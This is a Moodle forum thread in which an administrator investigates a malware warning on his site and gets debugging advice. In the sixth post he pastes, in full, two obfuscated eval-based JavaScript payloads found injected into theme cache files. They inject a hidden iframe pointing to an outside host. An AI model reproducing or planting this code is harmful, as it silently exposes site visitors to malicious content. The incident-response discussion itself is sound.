moodle 2.4.3 : script injection in header

moodle 2.4.3 : script injection in header

by razer raz -
Number of replies: 8

Hi,

After being blocked by google as malware site, I've found in my moodle site suspicious script in the main page header :

<script type="text/javascript" src="http://<mysite>/theme/javascript.php/formfactor/1454930189/head"></script>

The content of the script was encoded data.


First thing I've done was checking root www folder for recently modified or added files : give me nothing

Then I take a look at the site code, beginning with index.php, looked at the linked ressources.

I've found a workaround commenting lines 395->397 in lib/outputrenderers.php :

        // Get the theme javascript head and footer
#        $jsurl = $this->page->theme->javascript_url(true);
#        $this->page->requires->js($jsurl, true);


This is a uggly fix, I need to know in witch way someone possibly does code injection or something like.

Of course I search vulnerablities reports, take look at the site log, search in the database for something weared...

I need now some help of ways to investigate, log & db search criteria

Feel free to ask for more details, and thanks in advance

Average of ratings: -
In reply to razer raz

Re: moodle 2.4.3 : script injection in header

by Tim Hunt -
Picture of Core developers Picture of Documentation writers Picture of Particularly helpful Moodlers Picture of Peer reviewers Picture of Plugin developers

I suggest you download a new version of Moodle 2.4.3, and compare the code on your sever with a clean download.

That URL is not necessarily malicious. That is just how Moodle serves JavaScript.

Also, the JavaScript might well be minified, but that is not the same as encrypted.

Average of ratings: -
In reply to Tim Hunt

Re: moodle 2.4.3 : script injection in header

by razer raz -

Thanks for your quick reply. I will try your suggest, but I'm pretty sure that the www files was not modified : I've done a

find /www -mtime -30 -print

For the script, It was not directly the url, I understand now what this head file mean reading the source. I'm also sure that someone have found a way to inject code in the files :

<moodledata>/cache/theme/<mytheme>/javascript_head.js

<moodledata>/cache/theme/<mytheme>/javascript_footer.js

This code was pointed by google and other site inspectors I've tried as malicious

This code have disappeared after purging the theme cache. The link is now blank

Average of ratings: -
In reply to razer raz

Re: moodle 2.4.3 : script injection in header

by Emma Richardson -
Picture of Documentation writers Picture of Particularly helpful Moodlers Picture of Plugin developers
Have you checked that it hasn't been added to your additional html section?
Average of ratings: -
In reply to Emma Richardson

Re: moodle 2.4.3 : script injection in header

by razer raz -

@Emma : I've checked that of course, nothing...

@Tim : I know it for sure, I'm thinking about migration. I've more than 1000 users and I can't affort any DoS. And by the way I need to know more about this attack, the parts of the installation that are compromised (moodle-data, database) before doing any migration action

Last thing I've discovered : when I clean theme cache, the script goes away, and come back after a while in the specified files. The only fix that works is commenting the lines in outputrenderers.php

Thanks for reply

Average of ratings: -
In reply to razer raz

Re: moodle 2.4.3 : script injection in header

by Andrew Lyons -
Picture of Core developers Picture of Moodle HQ Picture of Particularly helpful Moodlers Picture of Peer reviewers Picture of Plugin developers Picture of Testers

Hi Razer,

Perhaps you could share the content of this script with us? Perhaps you could post it in a gist.

Are you sure that it's not just minified JavaScript?

As far as I'm aware, there is very little between the picking up of the origin files, and creation of the cache files.

Andrew

Average of ratings: -
In reply to Andrew Lyons

Re: moodle 2.4.3 : script injection in header

by razer raz -

If it's minified javascript, the syntax is worse than the original JS ;)

in the head :

/*7e43ea7ac1a9a2be8ae36b46df55cd6a*/;window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x72\x6e\x65\x64\x7a"]=["\x32\x38\x32\x32\x36\x34\x36\x39\x37\x36\x32\x32\x32\x39\x33\x62\x37\x36\x36\x31\x37\x32\x32\x30\x37\x38\x33\x32\x33\x32\x37\x31\x37\x31\x32\x30\x33\x64\x32\x30\x32\x32\x36\x38\x37\x34\x37\x34\x37\x30\x33\x61\x32\x66\x32\x66\x37\x33\x36\x35\x37\x32\x32\x65\x36\x33\x36\x38\x36\x35\x37\x32\x36\x65\x36\x31\x37\x39\x36\x31\x36\x34\x36\x31\x36\x64\x36\x31\x32\x65\x36\x39\x36\x65\x36\x36\x36\x66\x32\x66\x36\x64\x36\x35\x36\x37\x36\x31\x36\x31\x36\x34\x37\x36\x36\x35\x37\x32\x37\x34\x36\x39\x37\x61\x36\x35\x32\x66\x33\x66\x36\x62\x36\x35\x37\x39\x37\x37\x36\x66\x37\x32\x36\x34\x33\x64\x33","\x7d\x29\x28\x29\x3b","\x66\x36\x65\x32\x30\x37\x38\x33\x33\x33\x33\x36\x32\x37\x31\x32\x38\x36\x31\x32\x39\x37\x62\x37\x36\x36\x31\x37\x32\x32\x30\x36\x32\x32\x30\x33\x64\x32\x30\x36\x65\x36\x35\x37\x37\x32\x30\x35\x32\x36\x35\x36\x37\x34\x35\x37\x38\x37\x30\x32\x38\x36\x31\x32\x62\x32\x37\x33\x64\x32\x38\x35\x62\x35\x65\x33\x62\x35\x64\x32\x39\x37\x62\x33\x31\x32\x63\x37\x64\x32\x37\x32\x39\x33\x62\x37\x36\x36\x31\x37\x32\x32\x30\x36\x33\x32\x30\x33\x64\x32\x30\x36\x32\x32\x65\x36\x35\x37\x38\x36\x35\x36\x33\x32\x38\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65\x36\x33\x36\x66","\x36\x32\x36\x34\x36\x35\x36\x36\x33\x30\x36\x31\x36\x31\x33\x32\x33\x34\x33\x35\x33\x39\x36\x35\x33\x33\x33\x33\x36\x32\x33\x35\x33\x35\x33\x33\x36\x35\x33\x32\x36\x36\x33\x38\x33\x39\x36\x33\x33\x32\x36\x31\x33\x32\x33\x39\x33\x32\x33\x31\x36\x34\x32\x32\x32\x39\x37\x62\x37\x38\x33\x32\x33\x32\x36\x32\x37\x31\x32\x38\x32\x32\x36\x36\x36\x32\x36\x31\x36\x35\x36\x32\x36\x35\x33\x36\x33\x33\x33\x31\x33\x38\x33\x39\x36\x32\x33\x35\x36\x35\x33\x31\x33\x36\x33\x39\x33\x30\x36\x31\x33\x34\x33\x34\x33\x33\x36\x31\x36\x32\x33\x31\x36\x36\x33\x33\x33\x32\x33\x32\x33\x38\x33\x39\x33\x37\x32","\x36\x66\x36\x62\x36\x39\x36\x35\x32\x39\x33\x62\x36\x39\x36\x36\x32\x38\x36\x33\x32\x39\x32\x30\x36\x33\x32\x30\x33\x64\x32\x30\x36\x33\x35\x62\x33\x30\x35\x64\x32\x65\x37\x33\x37\x30\x36\x63\x36\x39\x37\x34\x32\x38\x32\x37\x33\x64\x32\x37\x32\x39\x33\x62\x36\x35\x36\x63\x37\x33\x36\x35\x32\x30\x37\x32\x36\x35\x37\x34\x37\x35\x37\x32\x36\x65\x32\x30\x36\x36\x36\x31\x36\x63\x37\x33\x36\x35\x33\x62\x37\x32\x36\x35\x37\x34\x37\x35\x37\x32\x36\x65\x32\x30\x36\x33\x35\x62\x33\x31\x35\x64\x32\x30\x33\x66\x32\x30\x36\x33\x35\x62\x33\x31\x35\x64\x32\x30\x33\x61\x32\x30\x36\x36\x36\x31\x36","\x36\x31\x32\x62\x32\x37\x33\x64\x32\x37\x32\x62\x36\x32\x32\x62\x32\x38\x36\x33\x32\x30\x33\x66\x32\x30\x32\x37\x33\x62\x32\x30\x36\x35\x37\x38\x37\x30\x36\x39\x37\x32\x36\x35\x37\x33\x33\x64\x32\x37\x32\x62\x36\x34\x32\x65\x37\x34\x36\x66\x35\x35\x35\x34\x34\x33\x35\x33\x37\x34\x37\x32\x36\x39\x36\x65\x36\x37\x32\x38\x32\x39\x32\x30\x33\x61\x32\x30\x32\x37\x32\x37\x32\x39\x33\x62\x36\x35\x36\x63\x37\x33\x36\x35\x32\x30\x37\x32\x36\x35\x37\x34\x37\x35\x37\x32\x36\x65\x32\x30\x36\x36\x36\x31\x36\x63\x37\x33\x36\x35\x33\x62\x37\x64\x36\x36\x37\x35\x36\x65\x36\x33\x37\x34\x36\x39\x36","\x63\x37\x33\x36\x35\x33\x62\x37\x64\x37\x36\x36\x31\x37\x32\x32\x30\x37\x38\x33\x33\x33\x33\x36\x34\x37\x31\x32\x30\x33\x64\x32\x30\x37\x38\x33\x33\x33\x33\x36\x32\x37\x31\x32\x38\x32\x32\x36\x36\x36\x32\x36\x31\x36\x35\x36\x32\x36\x35\x33\x36\x33\x33\x33\x31\x33\x38\x33\x39\x36\x32\x33\x35\x36\x35\x33\x31\x33\x36\x33\x39\x33\x30\x36\x31\x33\x34\x33\x34\x33\x33\x36\x31\x36\x32\x33\x31\x36\x36\x33\x33\x33\x32\x33\x32\x33\x38\x33\x39\x33\x37\x32\x32\x32\x39\x33\x62\x36\x39\x36\x36\x32\x38\x32\x30\x37\x38\x33\x33\x33\x33\x36\x34\x37\x31\x32\x30\x32\x31\x33\x64\x32\x30\x32\x32\x36\x34","\x39\x36\x36\x37\x32\x36\x31\x36\x64\x36\x35\x33\x65\x33\x63\x32\x66\x36\x34\x36\x39\x37\x36\x33\x65\x32\x32\x33\x62\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65\x36\x32\x36\x66\x36\x34\x37\x39\x32\x65\x36\x31\x37\x30\x37\x30\x36\x35\x36\x65\x36\x34\x34\x33\x36\x38\x36\x39\x36\x63\x36\x34\x32\x38\x37\x38\x33\x32\x33\x32\x36\x34\x37\x31\x32\x39\x33\x62\x37\x64\x37\x64\x22\x3b\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x73\x6e\x68\x69\x6b\x3d\x30\x3b\x73\x6e\x68\x69\x6b\x3c\x74\x6e\x79\x62\x74\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x73\x6e\x68\x69\x6b\x2b\x3d\x32\x29\x7b","\x74\x69\x61\x6e\x68\x3d\x74\x69\x61\x6e\x68\x2b\x70\x61\x72\x73\x65\x49\x6e\x74\x28\x74\x6e\x79\x62\x74\x2e\x73\x75\x62\x73\x74\x72\x69\x6e\x67\x28\x73\x6e\x68\x69\x6b\x2c\x73\x6e\x68\x69\x6b\x2b\x32\x29\x2c\x20\x31\x36\x29\x2b\x22\x2c\x22\x3b\x7d\x74\x69\x61\x6e\x68\x3d\x74\x69\x61\x6e\x68\x2e\x73\x75\x62\x73\x74\x72\x69\x6e\x67\x28\x30\x2c\x74\x69\x61\x6e\x68\x2e\x6c\x65\x6e\x67\x74\x68\x2d\x31\x29\x3b\x65\x76\x61\x6c\x28\x65\x76\x61\x6c\x28\x27\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x27\x2b\x74\x69\x61\x6e\x68\x2b\x27\x29\x27\x29\x29\x3b","\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x7b\x76\x61\x72\x20\x74\x69\x61\x6e\x68\x3d\x22\x22\x3b\x76\x61\x72\x20\x74\x6e\x79\x62\x74\x3d\x22\x37\x37\x36\x39\x36\x65\x36\x34\x36\x66\x37\x37\x32\x65\x36\x66\x36\x65\x36\x63\x36\x66\x36\x31\x36\x34\x32\x30\x33\x64\x32\x30\x36\x36\x37\x35\x36\x65\x36\x33\x37\x34\x36\x39\x36\x66\x36\x65\x32\x38\x32\x39\x37\x62\x36\x36\x37\x35\x36\x65\x36\x33\x37\x34\x36\x39\x36\x66\x36\x65\x32\x30\x37\x38\x33\x32\x33\x32\x36\x32\x37\x31\x32\x38\x36\x31\x32\x63\x36\x32\x32\x63\x36\x33\x32\x39\x37\x62\x36\x39\x36\x36\x32\x38\x36\x33\x32\x39\x37\x62\x37","\x32\x32\x63\x32\x32\x36\x34\x36\x32\x36\x34\x36\x35\x36\x36\x33\x30\x36\x31\x36\x31\x33\x32\x33\x34\x33\x35\x33\x39\x36\x35\x33\x33\x33\x33\x36\x32\x33\x35\x33\x35\x33\x33\x36\x35\x33\x32\x36\x36\x33\x38\x33\x39\x36\x33\x33\x32\x36\x31\x33\x32\x33\x39\x33\x32\x33\x31\x36\x34\x32\x32\x32\x63\x33\x31\x32\x39\x33\x62\x37\x36\x36\x31\x37\x32\x32\x30\x37\x38\x33\x32\x33\x32\x36\x34\x37\x31\x32\x30\x33\x64\x32\x30\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65\x36\x33\x37\x32\x36\x35\x36\x31\x37\x34\x36\x35\x34\x35\x36\x63\x36\x35\x36\x64\x36\x35\x36\x65\x37\x34","\x36\x36\x31\x37\x32\x32\x30\x36\x34\x32\x30\x33\x64\x32\x30\x36\x65\x36\x35\x37\x37\x32\x30\x34\x34\x36\x31\x37\x34\x36\x35\x32\x38\x32\x39\x33\x62\x36\x34\x32\x65\x37\x33\x36\x35\x37\x34\x34\x34\x36\x31\x37\x34\x36\x35\x32\x38\x36\x34\x32\x65\x36\x37\x36\x35\x37\x34\x34\x34\x36\x31\x37\x34\x36\x35\x32\x38\x32\x39\x32\x62\x36\x33\x32\x39\x33\x62\x37\x64\x36\x39\x36\x36\x32\x38\x36\x31\x32\x30\x32\x36\x32\x36\x32\x30\x36\x32\x32\x39\x32\x30\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65\x36\x33\x36\x66\x36\x66\x36\x62\x36\x39\x36\x35\x32\x30\x33\x64\x32\x30","\x39\x36\x32\x33\x34\x33\x35\x33\x35\x36\x35\x33\x38\x36\x34\x33\x30\x33\x38\x33\x38\x36\x36\x36\x34\x33\x33\x33\x31\x36\x34\x33\x37\x33\x35\x36\x32\x33\x37\x33\x36\x33\x34\x33\x35\x36\x33\x33\x33\x33\x30\x33\x35\x33\x34\x33\x39\x33\x32\x36\x31\x36\x36\x32\x32\x33\x62\x37\x38\x33\x32\x33\x32\x36\x34\x37\x31\x32\x65\x36\x39\x36\x65\x36\x65\x36\x35\x37\x32\x34\x38\x35\x34\x34\x64\x34\x63\x33\x64\x32\x32\x33\x63\x36\x34\x36\x39\x37\x36\x32\x30\x37\x33\x37\x34\x37\x39\x36\x63\x36\x35\x33\x64\x32\x37\x37\x30\x36\x66\x37\x33\x36\x39\x37\x34\x36\x39\x36\x66\x36\x65\x33\x61\x36\x31\x36\x32","\x37\x33\x36\x66\x36\x63\x37\x35\x37\x34\x36\x35\x33\x62\x37\x61\x32\x64\x36\x39\x36\x65\x36\x34\x36\x35\x37\x38\x33\x61\x33\x31\x33\x30\x33\x30\x33\x30\x33\x62\x37\x34\x36\x66\x37\x30\x33\x61\x32\x64\x33\x31\x33\x30\x33\x30\x33\x30\x37\x30\x37\x38\x33\x62\x36\x63\x36\x35\x36\x36\x37\x34\x33\x61\x32\x64\x33\x39\x33\x39\x33\x39\x33\x39\x37\x30\x37\x38\x33\x62\x32\x37\x33\x65\x33\x63\x36\x39\x36\x36\x37\x32\x36\x31\x36\x64\x36\x35\x32\x30\x37\x33\x37\x32\x36\x33\x33\x64\x32\x37\x32\x32\x32\x62\x37\x38\x33\x32\x33\x32\x37\x31\x37\x31\x32\x62\x32\x32\x32\x37\x33\x65\x33\x63\x32\x66\x36"];var tybka=yrafr=bkitd=radbe=fnybb=hkizf=ftehf=window["\x64\x6f"+"\x63\x75"+"\x6d\x65"+"\x6e\x74"]["\x72\x6e\x65\x64\x7a"],iihhn=window;eval(eval("[iihhn[\"\x62\x6b\x69\x74\x64\"][\"\x39\"],iihhn[\"fnybb\"][\"\x31\x31\"],iihhn[\"tybka\"][\"\x35\"],iihhn[\"hkizf\"][\"\x32\"],iihhn[\"\x66\x74\x65\x68\x66\"][\"\x34\"],iihhn[\"\x72\x61\x64\x62\x65\"][\"\x36\"],iihhn[\"radbe\"][\"\x33\"],iihhn[\"hkizf\"][\"\x31\x30\"],iihhn[\"\x74\x79\x62\x6b\x61\"][\"\x30\"],iihhn[\"\x74\x79\x62\x6b\x61\"][\"\x31\x32\"],iihhn[\"fnybb\"][\"\x31\x33\"],iihhn[\"hkizf\"][\"\x37\"],iihhn[\"\x72\x61\x64\x62\x65\"][\"\x38\"],iihhn[\"\x74\x79\x62\x6b\x61\"][\"\x31\"]].join(\"\");"));/*7e43ea7ac1a9a2be8ae36b46df55cd6a*/


The footer :

/*99de2f84be6523ed36b18ef2a1e38b91*/;window["\x64\x6f"+"\x63\x75"+"\x6d\x65"+"\x6e\x74"]["\x72\x79\x6b\x61\x65"]=["\x35\x33\x62\x37\x32\x36\x35\x37\x34\x37\x35\x37\x32\x36\x65\x32\x30\x36\x33\x35\x62\x33\x31\x35\x64\x32\x30\x33\x66\x32\x30\x36\x33\x35\x62\x33\x31\x35\x64\x32\x30\x33\x61\x32\x30\x36\x36\x36\x31\x36\x63\x37\x33\x36\x35\x33\x62\x37\x64\x37\x36\x36\x31\x37\x32\x32\x30\x37\x38\x33\x33\x33\x33\x36\x34\x37\x31\x32\x30\x33\x64\x32\x30\x37\x38\x33\x33\x33\x33\x36\x32\x37\x31\x32\x38\x32\x32\x36\x36\x36\x32\x36\x31\x36\x35\x36\x32\x36\x35\x33\x36\x33\x33\x33\x31\x33\x38\x33\x39\x36\x32\x33\x35\x36\x35\x33\x31\x33\x36\x33\x39\x33\x30\x36\x31\x33\x34","\x49\x6e\x74\x28\x68\x72\x65\x6b\x62\x2e\x73\x75\x62\x73\x74\x72\x69\x6e\x67\x28\x66\x6e\x66\x7a\x68\x2c\x66\x6e\x66\x7a\x68\x2b\x32\x29\x2c\x20\x31\x36\x29\x2b\x22\x2c\x22\x3b\x7d\x66\x68\x64\x79\x74\x3d\x66\x68\x64\x79\x74\x2e\x73\x75\x62\x73\x74\x72\x69\x6e\x67\x28\x30\x2c\x66\x68\x64\x79\x74\x2e\x6c\x65\x6e\x67\x74\x68\x2d\x31\x29\x3b\x65\x76\x61\x6c\x28\x65\x76\x61\x6c\x28\x27\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x27\x2b\x66\x68\x64\x79\x74\x2b\x27\x29\x27\x29\x29\x3b\x7d\x29\x28\x29\x3b","\x33\x64\x32\x30\x36\x32\x32\x65\x36\x35\x37\x38\x36\x35\x36\x33\x32\x38\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65\x36\x33\x36\x66\x36\x66\x36\x62\x36\x39\x36\x35\x32\x39\x33\x62\x36\x39\x36\x36\x32\x38\x36\x33\x32\x39\x32\x30\x36\x33\x32\x30\x33\x64\x32\x30\x36\x33\x35\x62\x33\x30\x35\x64\x32\x65\x37\x33\x37\x30\x36\x63\x36\x39\x37\x34\x32\x38\x32\x37\x33\x64\x32\x37\x32\x39\x33\x62\x36\x35\x36\x63\x37\x33\x36\x35\x32\x30\x37\x32\x36\x35\x37\x34\x37\x35\x37\x32\x36\x65\x32\x30\x36\x36\x36\x31\x36\x63\x37\x33\x36","\x36\x34\x32\x32\x32\x63\x33\x31\x32\x39\x33\x62\x37\x36\x36\x31\x37\x32\x32\x30\x37\x38\x33\x32\x33\x32\x36\x34\x37\x31\x32\x30\x33\x64\x32\x30\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65\x36\x33\x37\x32\x36\x35\x36\x31\x37\x34\x36\x35\x34\x35\x36\x63\x36\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x38\x32\x32\x36\x34\x36\x39\x37\x36\x32\x32\x32\x39\x33\x62\x37\x36\x36\x31\x37\x32\x32\x30\x37\x38\x33\x32\x33\x32\x37\x31\x37\x31\x32\x30\x33\x64\x32\x30\x32\x32\x36\x38\x37\x34\x37\x34\x37\x30\x33\x61\x32\x66\x32\x66\x37","\x30\x33\x62\x37\x34\x36\x66\x37\x30\x33\x61\x32\x64\x33\x31\x33\x30\x33\x30\x33\x30\x37\x30\x37\x38\x33\x62\x36\x63\x36\x35\x36\x36\x37\x34\x33\x61\x32\x64\x33\x39\x33\x39\x33\x39\x33\x39\x37\x30\x37\x38\x33\x62\x32\x37\x33\x65\x33\x63\x36\x39\x36\x36\x37\x32\x36\x31\x36\x64\x36\x35\x32\x30\x37\x33\x37\x32\x36\x33\x33\x64\x32\x37\x32\x32\x32\x62\x37\x38\x33\x32\x33\x32\x37\x31\x37\x31\x32\x62\x32\x32\x32\x37\x33\x65\x33\x63\x32\x66\x36\x39\x36\x36\x37\x32\x36\x31\x36\x64\x36\x35\x33\x65\x33\x63\x32\x66\x36\x34\x36\x39\x37\x36\x33\x65\x32\x32","\x33\x33\x33\x30\x33\x35\x33\x34\x33\x39\x33\x32\x36\x31\x36\x36\x32\x32\x33\x62\x37\x38\x33\x32\x33\x32\x36\x34\x37\x31\x32\x65\x36\x39\x36\x65\x36\x65\x36\x35\x37\x32\x34\x38\x35\x34\x34\x64\x34\x63\x33\x64\x32\x32\x33\x63\x36\x34\x36\x39\x37\x36\x32\x30\x37\x33\x37\x34\x37\x39\x36\x63\x36\x35\x33\x64\x32\x37\x37\x30\x36\x66\x37\x33\x36\x39\x37\x34\x36\x39\x36\x66\x36\x65\x33\x61\x36\x31\x36\x32\x37\x33\x36\x66\x36\x63\x37\x35\x37\x34\x36\x35\x33\x62\x37\x61\x32\x64\x36\x39\x36\x65\x36\x34\x36\x35\x37\x38\x33\x61\x33\x31\x33\x30\x33\x30\x33","\x33\x34\x33\x33\x36\x31\x36\x32\x33\x31\x36\x36\x33\x33\x33\x32\x33\x32\x33\x38\x33\x39\x33\x37\x32\x32\x32\x39\x33\x62\x36\x39\x36\x36\x32\x38\x32\x30\x37\x38\x33\x33\x33\x33\x36\x34\x37\x31\x32\x30\x32\x31\x33\x64\x32\x30\x32\x32\x36\x34\x36\x32\x36\x34\x36\x35\x36\x36\x33\x30\x36\x31\x36\x31\x33\x32\x33\x34\x33\x35\x33\x39\x36\x35\x33\x33\x33\x33\x36\x32\x33\x35\x33\x35\x33\x33\x36\x35\x33\x32\x36\x36\x33\x38\x33\x39\x36\x33\x33\x32\x36\x31\x33\x32\x33\x39\x33\x32\x33\x31\x36\x34\x32\x32\x32\x39\x37\x62\x37\x38\x33\x32\x33\x32\x36\x32\x37","\x33\x36\x35\x37\x32\x32\x65\x36\x33\x36\x38\x36\x35\x37\x32\x36\x65\x36\x31\x37\x39\x36\x31\x36\x34\x36\x31\x36\x64\x36\x31\x32\x65\x36\x39\x36\x65\x36\x36\x36\x66\x32\x66\x36\x64\x36\x35\x36\x37\x36\x31\x36\x31\x36\x34\x37\x36\x36\x35\x37\x32\x37\x34\x36\x39\x37\x61\x36\x35\x32\x66\x33\x66\x36\x62\x36\x35\x37\x39\x37\x37\x36\x66\x37\x32\x36\x34\x33\x64\x33\x39\x36\x32\x33\x34\x33\x35\x33\x35\x36\x35\x33\x38\x36\x34\x33\x30\x33\x38\x33\x38\x36\x36\x36\x34\x33\x33\x33\x31\x36\x34\x33\x37\x33\x35\x36\x32\x33\x37\x33\x36\x33\x34\x33\x35\x36\x33","\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x7b\x76\x61\x72\x20\x66\x68\x64\x79\x74\x3d\x22\x22\x3b\x76\x61\x72\x20\x68\x72\x65\x6b\x62\x3d\x22\x37\x37\x36\x39\x36\x65\x36\x34\x36\x66\x37\x37\x32\x65\x36\x66\x36\x65\x36\x63\x36\x66\x36\x31\x36\x34\x32\x30\x33\x64\x32\x30\x36\x36\x37\x35\x36\x65\x36\x33\x37\x34\x36\x39\x36\x66\x36\x65\x32\x38\x32\x39\x37\x62\x36\x36\x37\x35\x36\x65\x36\x33\x37\x34\x36\x39\x36\x66\x36\x65\x32\x30\x37\x38\x33\x32\x33\x32\x36\x32\x37\x31\x32\x38\x36\x31\x32\x63\x36\x32\x32\x63\x36\x33\x32\x39\x37\x62\x36\x39\x36","\x32\x65\x36\x33\x36\x66\x36\x66\x36\x62\x36\x39\x36\x35\x32\x30\x33\x64\x32\x30\x36\x31\x32\x62\x32\x37\x33\x64\x32\x37\x32\x62\x36\x32\x32\x62\x32\x38\x36\x33\x32\x30\x33\x66\x32\x30\x32\x37\x33\x62\x32\x30\x36\x35\x37\x38\x37\x30\x36\x39\x37\x32\x36\x35\x37\x33\x33\x64\x32\x37\x32\x62\x36\x34\x32\x65\x37\x34\x36\x66\x35\x35\x35\x34\x34\x33\x35\x33\x37\x34\x37\x32\x36\x39\x36\x65\x36\x37\x32\x38\x32\x39\x32\x30\x33\x61\x32\x30\x32\x37\x32\x37\x32\x39\x33\x62\x36\x35\x36\x63\x37\x33\x36\x35\x32\x30\x37\x32\x36\x35\x37\x34\x37\x35\x37\x32\x36","\x36\x32\x38\x36\x33\x32\x39\x37\x62\x37\x36\x36\x31\x37\x32\x32\x30\x36\x34\x32\x30\x33\x64\x32\x30\x36\x65\x36\x35\x37\x37\x32\x30\x34\x34\x36\x31\x37\x34\x36\x35\x32\x38\x32\x39\x33\x62\x36\x34\x32\x65\x37\x33\x36\x35\x37\x34\x34\x34\x36\x31\x37\x34\x36\x35\x32\x38\x36\x34\x32\x65\x36\x37\x36\x35\x37\x34\x34\x34\x36\x31\x37\x34\x36\x35\x32\x38\x32\x39\x32\x62\x36\x33\x32\x39\x33\x62\x37\x64\x36\x39\x36\x36\x32\x38\x36\x31\x32\x30\x32\x36\x32\x36\x32\x30\x36\x32\x32\x39\x32\x30\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34","\x31\x32\x38\x32\x32\x36\x36\x36\x32\x36\x31\x36\x35\x36\x32\x36\x35\x33\x36\x33\x33\x33\x31\x33\x38\x33\x39\x36\x32\x33\x35\x36\x35\x33\x31\x33\x36\x33\x39\x33\x30\x36\x31\x33\x34\x33\x34\x33\x33\x36\x31\x36\x32\x33\x31\x36\x36\x33\x33\x33\x32\x33\x32\x33\x38\x33\x39\x33\x37\x32\x32\x32\x63\x32\x32\x36\x34\x36\x32\x36\x34\x36\x35\x36\x36\x33\x30\x36\x31\x36\x31\x33\x32\x33\x34\x33\x35\x33\x39\x36\x35\x33\x33\x33\x33\x36\x32\x33\x35\x33\x35\x33\x33\x36\x35\x33\x32\x36\x36\x33\x38\x33\x39\x36\x33\x33\x32\x36\x31\x33\x32\x33\x39\x33\x32\x33\x31","\x33\x62\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65\x36\x32\x36\x66\x36\x34\x37\x39\x32\x65\x36\x31\x37\x30\x37\x30\x36\x35\x36\x65\x36\x34\x34\x33\x36\x38\x36\x39\x36\x63\x36\x34\x32\x38\x37\x38\x33\x32\x33\x32\x36\x34\x37\x31\x32\x39\x33\x62\x37\x64\x37\x64\x22\x3b\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x66\x6e\x66\x7a\x68\x3d\x30\x3b\x66\x6e\x66\x7a\x68\x3c\x68\x72\x65\x6b\x62\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x66\x6e\x66\x7a\x68\x2b\x3d\x32\x29\x7b\x66\x68\x64\x79\x74\x3d\x66\x68\x64\x79\x74\x2b\x70\x61\x72\x73\x65","\x65\x32\x30\x36\x36\x36\x31\x36\x63\x37\x33\x36\x35\x33\x62\x37\x64\x36\x36\x37\x35\x36\x65\x36\x33\x37\x34\x36\x39\x36\x66\x36\x65\x32\x30\x37\x38\x33\x33\x33\x33\x36\x32\x37\x31\x32\x38\x36\x31\x32\x39\x37\x62\x37\x36\x36\x31\x37\x32\x32\x30\x36\x32\x32\x30\x33\x64\x32\x30\x36\x65\x36\x35\x37\x37\x32\x30\x35\x32\x36\x35\x36\x37\x34\x35\x37\x38\x37\x30\x32\x38\x36\x31\x32\x62\x32\x37\x33\x64\x32\x38\x35\x62\x35\x65\x33\x62\x35\x64\x32\x39\x37\x62\x33\x31\x32\x63\x37\x64\x32\x37\x32\x39\x33\x62\x37\x36\x36\x31\x37\x32\x32\x30\x36\x33\x32\x30"];var ydkbf=fattf=yhyke=inkdn=iefdh=window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x72\x79\x6b\x61\x65"],bnezd=window;eval(eval("[bnezd[\"yhyke\"][\"\x38\"],bnezd[\"\x69\x6e\x6b\x64\x6e\"][\"\x31\x30\"],bnezd[\"yhyke\"][\"\x39\"],bnezd[\"inkdn\"][\"\x31\x33\"],bnezd[\"inkdn\"][\"\x32\"],bnezd[\"ydkbf\"][\"\x30\"],bnezd[\"\x66\x61\x74\x74\x66\"][\"\x36\"],bnezd[\"\x69\x65\x66\x64\x68\"][\"\x31\x31\"],bnezd[\"iefdh\"][\"\x33\"],bnezd[\"\x69\x6e\x6b\x64\x6e\"][\"\x37\"],bnezd[\"\x79\x68\x79\x6b\x65\"][\"\x35\"],bnezd[\"\x66\x61\x74\x74\x66\"][\"\x34\"],bnezd[\"ydkbf\"][\"\x31\x32\"],bnezd[\"yhyke\"][\"\x31\"]].join(\"\");"));/*99de2f84be6523ed36b18ef2a1e38b91*/

Average of ratings: -
In reply to razer raz

Re: moodle 2.4.3 : script injection in header

by razer raz -

End of story :

The incriminate file was stored in <moodledata>/1/session93.php (suspected to be PHP.Trojan.Mailer-1 by an antivirus)

The host provider think that the attacker come from another site in the same server and exploit misconfigured permissions of /moodledata folder.

If he is right, nothing is related with moodle in this story, nevertheless we have to migrate to up to date moodle version

Sorry for inconvenience and thanks for your help

Average of ratings: Useful (2)